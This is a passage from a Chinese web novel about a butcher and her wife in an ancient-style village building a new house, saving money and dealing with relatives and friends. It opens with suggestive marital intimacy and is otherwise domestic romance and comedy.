沈惜枝一惊,神情当即慌乱无措,什,什么,还要我喂? 那边专门欺负人的声音又传来,明明是极温柔的语气,偏偏说出的话却总这样! “你之前不是喂过吗,就像上次那样。” 夜尚且长着,女子浑身上下有三处果儿,今儿晚上是都被磋磨的肿了。 两人洗了身子,力竭躺在床上。 宋渝归甩着手腕,沈惜枝背对她,说什么也不肯转过来,她也不在意,心中庆幸,“还好叫你做了两条开裆裤,不然晚上可得磨的难受了。” 沈惜枝:…… 一句话都不想和她说了! 那只手又从裤子的缝隙里溜进去,饶是她如何也阻挡不了,干脆就当做不知,抿着唇睡觉,可睡也睡不了,被人轻柔触碰的感觉实在酥入骨髓。 没忍住,沈惜枝抬起软绵绵的腿踢了宋渝归一下,有些生气,细眉竖起,“都肿了!疼!” “嗯,我知道,肿了,所以我不碰这里。” 这儿肿了不还有一处没肿吗? 她摸摸那处不行吗? 那儿今天只弄了一回! 宋渝归不听话,把媳妇儿气了个仰倒,偏说不得她什么,脸都黑了。 又被人揽在怀里,轻轻弄了一回,喘气之声不绝,她连擦洗的力气都没了,还没弄完两只眼睛就眯成了缝儿。 第二日一早上起来便不曾给人好脸色看。 那处,居然没有消肿! 沈惜枝换衣物的时候差点气死,渝归姐姐笨蛋,还说要去买那处用的药膏,这种东西怎能随便买,她若去了她还要不要脸面了? 今日毕竟要出门,她也不好再穿那等奇形怪状的裤子,势必会磨的难受,越想越气,脸色也愈加寒冷。 宋渝归在旁边是一句话也不敢说的,眼睛一会儿望天一会儿望地,直到出门卖肉时才敢轻轻戳了一下媳妇儿,心虚哄她,“别生气了嘛,我今晚不弄你还不成吗?” 沈惜枝淡淡望她一眼,并不说话。 宋渝归瞬间耷拉下脑袋,以为媳妇儿真生了自己的气,有点后悔亦有点委屈。 她也不知在委屈什么,大抵是,惜枝一向待她温柔婉约,处处以她为先,心疼她,甚少生她的气 。 直到两人按照惯例买了包子当早餐吃,她有一口没一口的吃着,兴致不大高,沈惜枝却伸长脑袋,在宋渝归的肉包上咬了一口。 肉香四溢。 宋渝归一愣,眼睛唰的亮了,猛然看向惜枝。 媳妇儿吃完肉包后又不说话,低头小口吃着菜包,黑润的眸子垂着,也不理她,包括方才吃她包子时,一言不发的,就探头咬了一口,然后安静的把头缩回去。 明晃晃告诉宋渝归,我还生气,但是能哄,你若再不哄,就不一定了! 宋渝归眼眸渐渐温柔下来,颇有些欣喜的凑过去,在沈惜枝身侧,吻了吻她的唇角。 沈惜枝俏脸一黑,想让你哄我,但不是这样哄我! 她轻轻拧了宋渝归一下。 宋渝归福至心灵,低头也去吃她咬过的包子。 女子浓黑长睫一颤,没有说什么。 今日卖猪肉得了一千三百多文,便是一两多,卖竹篮也有二十文,减去前头买砖买瓦的,堪堪还有十五两,工匠为之修建房屋,需得有最少十两工钱,这笔钱是动不得的。 宋渝归长叹一口气,心想,为何母猪长得这般慢,若是能把家里五头母猪都宰了,拿钱就多了。 母猪初胎一般生的少,这回便只生了五只,四只母一只公,若非家里缺银子,她也不会急急要将只生过一次的母猪宰杀了。 哎。 赚钱好难,她又想处处弄的好一些,免得日后看不顺眼,早知如此,再赚个几日钱再修好了。 沈惜枝也为此事忧愁,说什么也不肯再买任意首饰了,两人在镇上就互吃包子和好了,她牵着妻子的手往家走,沈惜枝烦恼,“今日又得割好多猪草了,不然都不够吃。” 以前只养一头猪,割个两背篓便能养的很肥,现在六头猪吃…… 沈惜枝都不愿去想。 “那也没法子,等房子修好,我便花钱请人帮我们割猪草如何?” 割猪草并不是很累活,每家每户本也要上山割的,请她们帮忙捎带,再给些银钱便是。 沈惜枝无奈,依靠在妻子怀里,小声道,“你就知道花钱,省着点吧,万一日后还有用呢,大不了到时,我不随你去镇上就是了。” 她每日早起随妻子去镇上,要待个大半天,下午回来又会困顿,时常需要补觉,留给割猪草的便没有多少时间了。 大不了她以后不去了,上午下午都去割猪草就是,肯定能把猪养的很好。 她虽黏人,却也知道为家里操持,不想将事都留给妻子一个人。 宋渝归摇摇头,“到时候再说,还没到那份上,不急。” 沈惜枝软软的依靠于妻子怀中,微微点头。 路过之人看了,难免驻足多看一会儿,男子大多面露不赞同,他们事多,无法接受磨镜,当然,龙阳他们也接受不了,女子便容易接受的多了,时常还会揶揄打趣她们,瞧着并不封建。 只要得了旁人的胡言乱语,惜枝就要生气,不碰她也不给她碰,晚上更是会拿小屁股拱她,把她拱的远远的。 不许她贴着。 当然,半夜又会自己滚进她怀里,寻一块柔软好地方,埋进去睡。 两人回家,拎着三个背篓去山上割猪草,将一共六背篓猪草带回去,这才堪堪够它们吃。 养猪是真累啊。 怪不得她从前不爱当杀猪匠呢,只是可惜命运如此,非得她做杀猪匠不可。 宋渝归正想着,又来人寻她帮自家屠宰母猪,她二话不说提起刀就去了。 家里好几块地都分出去了,前段时间刚拿到租地的租金,粗粗数了一下,竟也有一两银,能稍稍填补些。 她这回没留在人家家里吃杀猪饭,池厢月记挂着火锅,说今日会给她们买菜回来煮火锅吃。 忙活一下午,才见到与表妹同去镇上的女主,两人乘坐马车回来。 池厢月先利落跳下来,随后扶表妹下车,再一个人从车里拿了许多菜蔬,还有几吊肉。 羊肉牛肉鸡肉,应有尽有。 “今晚吃鸡汤锅子不?” 她馋好几日了。 “行,就这个。” 宋渝归不会做饭,只与池厢月两个人收拾蔬菜,沈惜枝准备今日的晚饭,楚晚棠在旁边欲伸手帮忙,又实在不知从何帮起,她没做过这些,浑身僵硬着。 本想洗菜,可表姐说井水寒凉,不许她碰,她便没有事情做了。 “楚姑娘若闲着无聊,进去陪惜枝说说话吧。” 楚晚棠犹豫一下,点头应了。 沈惜枝在里头切着姜片,她便走近。 她以为楚姑娘也是同池姑娘一样生性好奇,想看她做饭,却不想对方虚虚瞟了一眼门外,拖拽着宽大的裙摆靠近,柔声询问,“惜枝姑娘,你可知我表姐在此地有一关系十分要好的女子?” 沈惜枝一愣,扭头问,“你说的可是宋姑娘,村长家的姑娘?” 她一下就猜中了,可见表姐与那女子确实关系要好。 楚晚棠笑意便有些勉强,微微点头,“是,是村长家的姑娘,表姐与她很要好吗?” “嗯,她们关系确实不错。” 沈惜枝没有掺和旁人感情的想法,一切便据实相告。 楚晚棠脸色更难看了。 藏在宽袖中的手指紧紧掐着手心,她抬起头,鸡刚好下了锅,腾起的白雾氤氲了女子眉眼。 屋里安静一会儿,才响起女子缓缓悠悠的声音,“有时候,我真艳羡你与渝归姑娘。” 她这几日有听流筝说了,原来渝归姑娘一开始就知道自己是磨镜,家里没有掌事的父母,她散尽家财,为自己求娶了惜枝姑娘,一开始两人感情仿佛并不和睦,后来便越来越恩爱,如寻常妻妻般形影不离,不,比之更亲昵无间。 真好啊。 她金尊玉贵的长到这么大,第一次羡慕旁人。 “楚姑娘也可以的。” 惜枝不知如何处理旁人的羡慕,停顿好一会儿,才干巴巴说了这话,显然是已看透了些什么。 楚晚棠也不欲遮掩,她本就不是躲躲藏藏的性子,只是表姐太笨了,她太笨了,姨母姨父的聪明劲儿半点没有遗传给她,这般愚笨,怕是传了我父亲的。 哎。 几人烧了锅子,坐在院子里吃的满身热乎,池厢月忽而想起今晨父亲与她说的,随口便问,“对了,棠棠,你父亲生辰快到了,我过几日命人送你回去?” 楚晚棠正忧伤于表姐不开窍,闻言长睫微颤,皱了皱眉,下意识便道,“他生辰与我何干?” 周遭一静,池厢月神色颇为无奈又复杂,小声,“话也不能这么说,好歹是你父亲。” 小表妹咬了咬唇,反应过来,却仍道,“可是我不想回去,父亲那边自有那些个庶子庶女,何需我去?我留下来陪着表姐就好了。” 池厢月皱眉,“这样不好吧,你是嫡女,是舅舅最看重的女儿,若不回去……” 舅舅怕是要气死了。 话音未落,那边表妹便眨了眨眼睛,里头瞬间晕满晶莹的水花儿,足以震撼席间所有人! 宋渝归惊的坐直了腰,心想着,我去,和惜枝更像了。 只听楚姑娘用一双红彤彤,将要流泪的眼睛看了池厢月一眼,抿唇道,“表姐知道的,家中庶出的兄弟姐妹皆不喜我,父亲亦更疼爱他们一些,从小到大,只有表姐喜欢我,盼着见到我,我实在舍不得离开表姐……” 她说的着实难过又委屈,令池厢月大惊失色。瞬间冷下语气,“你那庶兄与庶妹又欺负你了?” 楚晚棠低头,一串晶莹剔透的眼泪便直直落下去,沾湿了衣裳,她柔弱难过且无助道,“我,我在过来之前无意间听到,兄长希望将我嫁与朝中重臣,以笼络势力,可那大臣,今年已经三十五了!” 三十五岁的男子看着不老,却比不了我表妹正是如花一般娇妍的年纪,敢提出这话,其心可诛。 池厢月气的饭都吃不下去了了,浑身颤抖。 楚晚棠无意影响表姐食欲,谁叫她自个儿要在饭桌上提起这件事呢。 “表姐别气,我不会答应的,表姐也不会将我赶回去,由我与旁人成婚的,是不是?” 池厢月已握断了一双筷子,闻言重重点头,“自然!这种人家,还有什么好回去的!你就好好留在我这,我护着你,若我有机会再回京城,你看我怎么收拾你那个没脑子又蠢又毒的庶兄!” 死东西,没吃够教训,还敢欺负我表妹? 楚晚棠听她这样说,微微垂下眸子,心中放下一些,至于那几个被她随意扯出来当挡箭牌的庶出兄妹,她并不在意。 想让她联姻之事确实发生过,但她早已叫对方狠狠跌了跟头,得了教训,如今说出来,不过是想让表姐心疼怜惜一二罢了。 幸好,效果显著。 直到这顿饭吃完,表姐都紧紧牵着她不放,保护心疼的意思再明显不过了。 楚晚棠心中满意,等她们走了,宋渝归才长叹一口气,“池姑娘真是被楚姑娘全然拿捏了。” 她是逃不出楚姑娘手掌心的,我算是看出来了。 “旁人的事与我们无关,不管她们如何了,那边的图纸绘好了没有?可以看看吗,万一有什么地方不喜欢呢。” “还未绘好呢,总得再过几日,到时给你看,不喜欢再改,怕是等我们修完房子,又要变得一贫如洗了。” 宋渝归调笑道。 沈惜枝扑进她怀里,闷声,“那我也愿意,我要住新房子。” 新的自然比旧的好,况且现在的房子……并未给她留下什么好印象,她迫不及待想换了它。 从前许多事,到底叫小姑娘心生阴影了。 “嗯,好,我们一起住新房子。” 又过了五日,绘好的图纸才出现在宋渝归的猪肉摊子上,绘图纸的人也在她家买过肉,因此没怎么麻烦就寻到她了。 她将图又给沈惜枝看了看,三人正探讨着有何处要改的,“后院需得大些,前院倒无所谓。” 后院养猪,如今又多了五只小猪,小的时候还好,等再大一些可就住不开了。 宋渝归点头赞同。 对方也了然,又提起屋子别处的修建样式,大多是合她们心意的,只几处不大喜欢,送回去又改了两日,双方才定下过来修建房屋的日子。 本来想着早点的,但也想银钱宽裕些,便定了半月后过来。 到那时天已经有些热了,家里的猪也养的肥肥的。 修建房屋的队伍浩浩荡荡过来,宋家的房子并非一居室,旁侧还有个专门用来放杂物的小屋,宋渝归提前将睡觉需要的东西挪到小屋里,然后握了握刀,把院子里的猪拉出来,利落宰了。 等工匠来时,只有院子里溅出的鲜血。 宋渝归留了许多肉下来,拉走的却更多,工匠不过五六人,便是能吃也吃不了半只猪。 沈惜枝需得管着工匠的午饭也要看着他们修建房屋,因此留下没有去镇上。 池厢月在宋渝归走时向她拍胸脯保证房子一定会给她建造的非常完美,她也就半信半疑离开了。 手里剩余的钱都买了木材,如今真是分文没有,还要担心那些钱不够使。 听闻宋渝归家要修造房子,村里村外可都震惊的不行,好几个好八卦的跑去人家家门口围着,与左邻右舍探讨这对把日子过得红红火火的妻妻。 宋家村的人大多只是看个热闹,隔壁沈家村却有人家气的要死。 沈仪一大清早就得了消息上门了。 把那些话一说,沈母王氏便拍着桌子大喊起来,“什么!你说沈惜枝她家在修房子?” “是啊,我亲眼所见,他们村里都在讨论这件事,可见杀猪匠有多挣银子,嫂子你也真是的,惜枝多好一姑娘啊,你非得弄得人家与你离心了,现在银钱好处是半点占不到身,不然她们家要请人修建房子,能去外头找人?” 沈仪的哥哥沈父和侄子沈大平日里虽务农,但也是工匠,只是活儿不多的时候在家下地干农活罢了。 难得有活,她们竟还去外面找人! 沈仪看热闹不嫌事大,又说,“我听宋家村的人说,她们请这些工匠可花了十两银子都不止,啧啧啧。” 十两! 王氏气的一口气差些没上来,厥过去了。 这十两若是给了他们家该有多好啊! 里面气氛冷凝着,外头却又有人掀开帘子闹进来了, “娘!大哥要我干活,你快评评理,我这双手是读书写字的,怎么能干那些粗活?!” 沈耀祖一边说一边冲进来。 沈大紧随其后冷着脸,只一句,“耀祖如今并不上学,也不读书,难道就在家里白吃白住吗?” 他势必要把沈耀祖弄到田地里去不可! 多年供全家之力托举沈耀祖,沈大早就生了怨言。 第73章 你空的时候亲亲我就好了 宋渝归从镇上回去,就碰见一个扛着锄头,一个拖着锄头的男子走在路边,两人仿佛有些眼熟,看了一会儿才想起来,哦,在后面不情不愿拖着锄头的是沈家的沈耀祖,因为他极为嚣张自恋,给人留下的印象便深一些。 他不是在沈家地位高吗,不是读书人吗,如今看起来竟像是受了气一般,着实给她看爽了。 她是爽了,沈耀祖看见这个几次三番不给他面子的人都要气死了,却又无可奈何,只盼着赶紧走过去,不想他大哥还停下了! “渝归妹妹。” 她娶的是沈大的妹妹,沈大不知如何称呼她好,便也唤了渝归妹妹。 宋渝归心里骂爹,不是,你叫我干嘛,我跟你熟吗。 她停下,看人的表情格外一言难尽。 对方似乎也想到两人并不熟悉,主动说,“我是惜枝的大哥。” “我早就说过,惜枝既嫁到我家,与沈家便再无关联,你可不是她大哥。” 她全部的亲人就我一个!就!我!一!个! 沈大脸色不由难看几分,强笑着,“到底是亲戚,你又何必弄成这样,血缘亲情本就是割不断的!” 对不要脸穷亲戚的妄想,她只有三个字,“神经病。” 说完拉着推车就走了。 沈大站在原地握紧拳头兀自气的不行,沈耀祖简直无语了,“你和她攀什么亲戚,不过就一屠户,有这种亲戚我还嫌丢人呢!” “呵,你嫌屠户丢人,那你又是什么身份,我们又是什么身份,一介农民,若非为了供你读书,家里好歹能有些余银,我也不必对她低声下气的企图修复关系,如果不是因为你,甚至惜枝也不会和我们决裂,家里变成如今这样都是因为你!” 沈大满心怨怪,在村门口就和沈耀祖吵起来了。 沈耀祖自幼被娇惯,脾气大着呢,哪受得了这委屈,当即便反唇相讥,冷笑道,“现在全怪在我头上了,当初你不也想让我考取功名从中得到好处吗,天天念叨着让我当官后要为你买房买妾,难道你就是什么一心为了弟弟不求回报的好兄长吗!如今家里变成这样,依我看还不是你没用,宋渝归一个女子都赚的比你多!” 他说话说得难听,早有好事者聚集过来假装劝架实则看热闹了,沈大恼羞成怒,当即把沈耀祖打了。 沈耀祖又岂能依,两人闹的厉害,最后近乎要分家了,但这都与宋渝归没有关系,她欢快回家,今日猪肉都卖出去了,早上称时才发现,这只猪平素吃得好,竟重达三百三十斤,她留下三十斤给妻子做饭,剩余的卖了十多两银子。 一日便是十两,可不是心情好的不行吗。 总算能填补一些家用不至于让家里太穷了。 她心想着。 回家时,工匠尚未离去,房子连个雏形都没出,四周的围栏已被拆掉了,对方告诉她,一千块砖头怕是不够。 虽然早有设想,但真听到这话宋渝归心尖还是一颤,养家好费银子。 她无奈应了一声,说第二日就去镇上再买些砖。 沈惜枝在家中也未曾闲着,她上午让池厢月帮她盯了一会儿工匠,自己去割了好多猪草喂猪,又洗了衣裳,还编了好几个竹篮子,见妻君回来,便叫她明日带去镇上卖一卖。 宋渝归自然无有不应的,蚊子再小也是肉嘛。 工匠再怎么吃,也吃不掉三十斤猪肉,还剩下许多,沈惜枝收起来了,说是明日再做给工匠吃一餐,今晚她们煮面吃。 房子修建到太阳西斜,工匠才来告辞,明天再过来,为首那个脸上都是笑容,虽然累了一天,但心情还是不错,过来同她们说话,“我还是第一次给人修房子吃了这么多肉。” 肉价贵,若是往常去谁家修建房子,人家纵然包饭,也舍不得让他们几个外人吃肉,多只是沾点荤汤,或有个一两块肉,抢都抢不到的,没成想在这家干,竟是由他们吃个饱,吃饱了有力气,又想着这家人好,修建房屋便格外尽心,每一处都丈量修葺的仔细。 “你们帮我家修建房子,自然不能亏待你们。” 宋渝归笑意盈盈,与这群工匠告了别,晚上是借着池家的锅煮的面,池厢月坐在一旁一边吸溜面条一边问,“你真的不必我资助于你?我看你家这规模,可费银子了。” 她也知道自家弄的费银子,有些头疼,“嗯,应该不用,若真有需要,我自己会开口的。” 真到了那份上,问女主借点钱也没什么,她又不是没有稳定的工作还不起。 至多半月,很快就能换上的。 第二日宋渝归去镇上卖猪肉,又赚了一两银子余一百文,惜枝的篮子也卖了十几文,她去之前买砖瓦处将十一两银子留下,买了砌在里面的普通砖石与铺地的上等青砖,然后蹭了对方的车一道回村。 李大娘正与惜枝在家门口说话,看她们家工匠修建房屋,脸上也满是笑意。 远远又见宋渝归回来了,不由笑着指了指,“看看,可不是你家那个顶梁柱,刚卖完肉,着急忙慌便回来寻你了。” 沈惜枝见着妻子,漆黑的眼眸便是一亮,可紧接着听见这话,咬了咬粉嫩唇瓣,长睫微垂,难免有些羞涩不好意思,还是小跑着快步迎过去。 车停在她家门口,宋渝归从上面跳下来,将自家妻子抱了满怀。 沈惜枝小脸粉红粉红,脑袋埋进妻子怀里,“渝归姐姐可算回来了。” “我回来的应该也不晚吧,午饭都没舍得在镇上吃。” 李大娘见两人亲近,在她们后面一副没脸看的神色,弄得人怪不好意思的。 沈惜枝扭扭捏捏,不愿出来,却也不好意思当着人前就和妻子亲近,终是红着脸老实了,并小声说,“大娘笑话我们。” “哎呦,我哪会笑话你们啊,你们尽管亲近,我可要回去了。” 李大娘年纪大了也不好意思看这等场面,摆摆手就走了,徒留下脸蛋通红的沈惜枝。 “妻君今日卖的如何,肉都卖完了吗?” “嗯,卖了一两银子,但都用来卖砖石了,哎,我们可算给这房子拖穷了。” “穷一点也没事的。” 宋渝归知道惜枝想住新的,想抹去从前的记忆,因此只应了一声,悄悄低头去亲吻她。 池厢月正带着两个人回来,亲眼目睹这一幕,蓦地睁大眼睛,心想现在也不避人了? 楚晚棠眸色暗了暗。 或许,她也可以直接一些呢? 或许,她也能过上她们那般的日子呢。 她不想再艳羡旁人了。 也不想再…… 视线往旁边女子身上冷冷扫过一遍。 看着表姐同旁人相谈甚欢。 她不愿意。 “啧,你俩又腻上了,我都不乐意看,哼。” “不乐意看就别看了。” 宋渝归挑了挑眉,轻笑,并不让着她,摆明了就是,我非要与老婆腻歪! 池厢月又哼了两声,放过这个话题,双手叉腰走近,“棠棠新弄了些鲜嫩的羊肉,我们晚上吃饺子不?” 楚晚棠出手阔绰,又接连在她们家吃了一段时间饭,看得出很想给些什么,她们不肯接受银钱,她就变着法儿弄些贵价上品的肉类,改善伙食。 “听闻明日还有蟹到呢,如今不是吃蟹的季节,要弄螃蟹费了表妹好大的功夫。” 她说着说着都要流口水了。 宋渝归自来古代后还没吃过螃蟹,也莫名咽了咽口水。 沈惜枝倒是眉心微皱,小心的拉拉妻子袖子,抿唇道,“可是我不会做蟹。” 这是她的盲区了,她比划一下,“我只会做那种小蟹。” 用面粉裹了丢进锅里煎炸。 好可爱。 宋渝归顺手握住妻子比划的手指,“螃蟹做起来并不麻烦,我教你,小枝儿聪明,听一遍就能学会的,实在不行清蒸也很好吃。” “没事,你教我就好了。” 沈惜枝乖乖依在人怀里。 饺子做起来比旁的要麻烦多了,她们早早便开始准备,宋心雨也与她们一道忙活。 家里又在为她相看新的夫婿人选了,她也不知这回会是个什么样的人,也不知像现在这样能和好友一起出来玩耍做饭的日子还能有多久,所以是一日也不敢浪费的。 羊肉里混了清爽的白菜,闻着香,一口咬下去汤汁直冒,更香了。 饶是工匠用心,房子也一连修建了两个月,两月里赚的几十两银子全贴进去了还有些不够,问池厢月又借了十两。 宋渝归面色凝重,终于觉得自己材料买的太好了。 贵的要命。 前头的十两银子也不过是修建房屋的定金,后头因工期拉长,又给了二十两,算起来这座房子花费一百多两了,在这种小村子里,简直是闻所未闻见所未见,但幸而,房子做出来很合她们的心意,每一砖一瓦,一根房梁横木,都是她亲自挑的,惜枝也很满意。 晚上,两人第一次睡在新房子里,小媳妇儿掰着手指算家里要添置些什么。 “咱们可以买一张新床,我想要个梳妆台,再买新的桌椅,前两日有看见喜欢的,买我喜欢的好不好?” 她靠在妻子的胸膛上撒娇道。 宋渝归拍拍怀里挺翘娇软的小屁股,温声应道,“这是自然,我的房子不就是你的房子,你也有份,肯定要挑你喜欢的。” 桌椅床榻对她来说都无所谓,自然是媳妇儿喜欢如何便如何。 “嗯嗯,好,但是这些都可以晚点买,我们先攒钱还了池姑娘吧。” 她不喜欢欠人银钱,当不得已问池厢月借了十两银后,便每日都惦记着尽早还了。 宋渝归答应一声,“这是自然,我也觉得先还钱更好,就是委屈你再跟我过一段时间的苦日子了,等家里有点余钱,我带你去买新衣裳可好?” 如今已是初夏了,可惜枝还没几身夏装,原本那些破破烂烂的早扔了,身上仍是春天略薄的衣裳,看着就不透气,她觉得不行。 却不想被人娇嗔的瞪了一眼,“你就会花银子,我的衣服已经够多了,等家里一切置办好,只管攒着银钱便是,万一日后有用呢?” “那也得先将你打扮好了才能攒银钱,总不能亏着你,连媳妇儿都亏待,我还是人吗。” 宋渝归一看就不听话。 沈惜枝说不过她,她总有一堆歪理要花钱,气的扭了身子,又用小屁股拱她,企图将她拱离身边,可爱的要命。 宋渝归眯了眯眼睛,心下愉悦,她和自家小气的媳妇儿可不同,心胸宽广的很,任媳妇儿与她生气,她自岿然不动的。 躺下便往惜枝身边凑了凑。 惜枝抿唇不高兴,又去拱她,被她抬手揽进怀里,揉了揉肩膀,“给你买东西你还要生我的气,真是小没良心的。” 虽被妻子背对着,但宋渝归就是能准确寻到妻子的鼻子,捏了捏。 沈惜枝先是噘嘴不悦,后头反应过来她看不见,就沉默了。 片刻拿光裸玉足踢人,“分明是你,是你不会过日子。” 她想攒多多的钱,妻君却觉得身上钱够花就成,日子要过得好一点,富庶一点,哎。 可她穷惯了,没有钱心里不安稳嘛。 见妻子满身愁绪,宋渝归终是倾身覆了上去,温声软语,“好啦,我定会多攒点钱的,不会让我的小枝儿没钱花的,好不好?” 她软下语调,沈惜枝又如何能继续不给面子的与她生气,自然顺着台阶就下了。 在被窝里翻转了身子,又埋首在她胸口处。 声音从里头传出来便闷闷的,“嗯,你之前不是说过想开养猪场吗,那得买一块好大的地了。” “是啊,这还八字没一撇呢,咱没钱呀,可能得等我年纪大了才能开上吧。” 沈惜枝抿了抿唇,“那你还乱花银子。” 宋渝归:…… 不是,怎么又绕回来了。 她不想再谈论这个话题,连忙将人往怀里搂了搂,哄小孩子似的拍拍她后背,“好了好了,乖枝儿,睡觉睡觉,我们不说话了,先睡觉,我都困了。” 这几日忙着收拾新家,她累得不行。 沈惜枝见她眼皮子撑不住闭合,也不再说她什么,微微点头,抱着妻子与她一同睡去。 第二日又恢复了和妻子上镇卖肉的生活。 她已经好久没跟着来镇上了,一些买肉的顾客久未见她,今日忽而一见,忍不住有些惊奇,“呀,是宋夫人呀。” 这是她们打趣人时的称呼,时常管她叫宋夫人,便能欣赏美人害羞的场景了。 宋渝归最是心疼自个儿媳妇,一见有人逗她,便连忙将人拉到身后,无奈笑着,“你们欺负她,回头她可是要与我生气的。” 欺负不得,欺负不得。 旁人善意的笑了笑,买了两斤肉才走。 沈惜枝红着脸不好意思说话,只在没人时拿自己的手指去勾妻子的小指,黏黏糊糊不肯与她分开。 卖了会儿肉,天便大亮了,池厢月大老远喊了她们,“渝归,惜枝。” 她衣角翻飞,疾步走过来,话语连珠,速度极快,“你们的房子刚修建好,按理说该请亲朋好友过来吃饭热闹热闹,棠棠连菜都给你们准备好了,有从江南运来的鱼虾,也有从京城弄来的吃食,我还准备了好酒呢,今晚我们好好喝上一杯!” 楚晚棠跟在池厢月身后,只安静的看着她表姐,偶尔视线落在旁人身上,反而有些居高临下的矜傲之感。 “嗯,那我们一会儿卖完就回去准备。” “行,我先去拿些糕点,等会儿跟你们一块儿回去。” 她前两日专门早起想吃宝月阁的糕点却还是没买到,表妹听闻后直接替她上宝月阁拿了一份,并说日后只要她去,不需排队,永远都有糕点,她才知道,宝月阁竟是她表妹的资产! 表妹还为此好生与她抱怨了一通。 “我只知表姐或许在临安县,其余一概不知,央求父亲告诉我,他也不肯,费了好大的劲儿才见到表姐,表姐莫要再赶我回去了。” 小姑娘话语间尽是柔弱可欺,池厢月哪舍得赶她回去啊,别一回去就被人欺负了。 舅舅也忒过分了,庶子年长于嫡女也就算了,现在越发抬高庶子无视嫡女了,听着棠棠的意思,舅舅还想让嫡女给庶子铺路呢! 别想,想都别想,只要有我在一日,棠棠的婚事便由不得别人做主!亲爹也一样。 因此,楚晚棠是真在宋家村住了下来,屋里渐渐置办了许多年轻女子的物件,两人的房间也不再只是一个冷冰冰的栖身之所,多了更华丽的梳妆台,床榻亦从方便的木板床换做最舒适昂贵的拔步床,上面挂着粉色珠帘,珠子竟还是用的珍珠与琉璃混合,昂贵无比,同这件普通的乡下小屋格格不入。 自外甥女来了后,池景明便不再进入女儿的房间,也因此不知道那儿翻天覆地的变化,唯一能用肉眼看见的便是……破旧的木窗里头装了一道帘子,每每天气闷沉时,木窗便会打开,帘子被风吹动,漂亮的珠子碰到一起,发出清脆响声。 池厢月带表妹去宝月阁取了糕点,竟连银钱也不必付,就这么带走了。 她越发觉得表妹厉害,于做生意一道上胜过许多人,简直让她钦佩不已。 两人回了宋渝归的猪肉摊子,她还剩下一些肉没有卖完,池厢月熟练的坐在一边等她卖完,楚晚棠却从腰间取出一个荷包,“我将你剩下的这些肉都买了,我们是不是就可以回去了?” 宋渝归、沈惜枝:…… “楚姑娘,这样不好,你还是收回去吧。” 楚晚棠递出来的荷包又没有人接,她不知道这对妻妻究竟是怎么回事,一个接一个的拒绝于她,为何不愿要她的钱? 她自愿给的,拿了又能如何。 大小姐高高在上,不将卖肉那些许银钱放在心上,只要她愿意,她可以好吃好喝富足的养一屋子好友。 只可惜这两个好朋友都不愿意接受她的好意。 表姐也赶忙将她的钱包塞进她怀里,告诉她不可以这样。 楚晚棠不高兴的抿了抿唇,只好捏着鼻子陪她们卖肉。 她这辈子从未卖过猪肉,只觉得生肉看起来油腻腻的,有些让人反胃,没一会儿便将小脸埋表姐怀里了。 池厢月下意识伸手揽住,就这么抱着她等待。 沈惜枝微微睁了睁眼睛,不是,她们就不觉得这样有什么不对吗? 一常客来摊位上买肉,一边买一边笑道,“今日竟还有里脊,你称一下吧,哎,这两位是你朋友?也是磨镜吧,我可一眼就看出来了。” 池厢月闻声,茫然抬头,还有磨镜? 哪呢哪呢? 直到见对方目光盯在她身上,她才猛然发觉自己听见了什么。 有人说我和我表妹磨镜了?! 震惊! 她刚要解释自己并非磨镜,免得污了小表妹清白的名声,却不想怀里骤然响起一声痛呼,叫人顾不得旁的,连忙垂首望去,“怎么了怎么了?” 小表妹柳眉微蹙,似隐忍疼痛一般,“我,我刚刚好像踩到什么了,好硬,硌的我好疼。” 小姑娘娇娇道,池厢月连忙将她抱到凳子上坐着,再回头,便见原本她站的地方,有一颗不大不小的石子,大约是不小心踩上了,只是若不大力去碾压石子,该不会这般疼才对。 不过池厢月没想太久,又觉得定是因为表妹肌肤格外娇嫩才会如此。 “那你先坐一会儿,等下我背你回去?” 楚晚棠摇摇头,“流筝会驾马车来接我们的,你抱我上马车就好了。” “嗯,回去给你看看,许是硌破皮了。” 目睹全程的宋渝归:…… 与妻子对视一眼,纷纷看到对方眼中对呆子的无奈。 这石子能磕破皮? 搞笑呢。 但池厢月不觉得有问题,她们也不会主动说出来,就看她什么时候能被小表妹拿下了。 不是她们要眼睁睁看好朋友被哄骗,实在是已经看出她有多疼宠自家表妹了,就算她们说了你表妹是装的,难道池厢月会信她们不信表妹? 这不扯淡吗? 不如安安静静看戏来的舒服。 等池厢月再想解释时,那路过的客人早已走得无影无踪。 她想着也不是什么重要事,路人而已,误会就误会,她与表妹心里清楚就好了。 等肉卖完,不一会儿流筝便赶着马车到了,她近日在帮主子料理糕点铺子,就住在镇上。 池厢月抱着小表妹上的马车,那副珍惜仔细样儿,生怕小表妹受了丁点颠簸一般。 真真是宠到了心坎儿里。 宋渝归握着妻子的手指紧了紧,心想,被比下去了,但我力气没有池姑娘大,可恶啊。 沈惜枝似有所感,站在马车外面回头,对她露出一个柔软的笑,“快上来呀。” 在她上来刚站稳后,妻子便凑近她,声音细若蚊呐道,“我不要抱,你空的时候亲亲我就好了。” 第74章 池姑娘未免太过迟钝 辛勤工作了小半月,一口气还清欠池厢月的银子,宋渝归又在沈惜枝的督促下攒起钱来。 她本不是爱攒钱的性子,但惜枝说,钱攒下来日后许能开个店什么的,盘店面要用也方便,不必问谁去借了。 她是最最不喜欢借钱的性子,只因从前家里那群人为了供沈耀祖读书,处处借钱,近亲远亲乡亲借了个遍,时常被人堵到家门口要钱,她对这种感觉厌恶极了。 宋渝归听她说起开店,便想到自家媳妇儿做饭色香味俱全,比外头酒楼要好吃不知道多少,日后许真可以在镇上开个酒楼,离她卖肉的地方近一点,她有点事情做,不会再觉得对家里没有付出,这样也很好。 从那日起,她便认真攒起钱来。 往常她天天想给媳妇儿买衣服首饰,这回倒是忍住了,只各买了两身轻薄的夏装,旁的没有买了。 出门时她也会簪一根钗子,但是是蹭自家媳妇儿的,她没怎么给自己买过,可给媳妇儿买了许多,她们一家人又何需分你我,直接就用了。 又是一日凌晨,天都没亮,宋渝归埋首在媳妇儿怀里,叹了口气,“哎,好困呀,真不想工作。” 沈惜枝摸摸妻子后背,温声道,“我们今晚再睡早点吧,睡早点就不困了。” “嗯……” 她含糊不清的应了一声,下一刻又翻身起来。 幸好现在是初夏,并不冷,起的便也没有冬日那般艰难。 宋渝归走出门打了井水,用冷水洗了把脸,终于精神了,她和惜枝洗漱完便推上推车杀猪,驮着猪肉去镇上吃了两碗馄饨当早餐。 每日早上不是包子就是馄饨,宋渝归抬头叹了一声,“好想吃手抓饼啊,如果惜枝会做手抓饼就好了。” 沈惜枝茫然,却又认真点头应声,“嗯,你教我做,我学会了就给你做。” 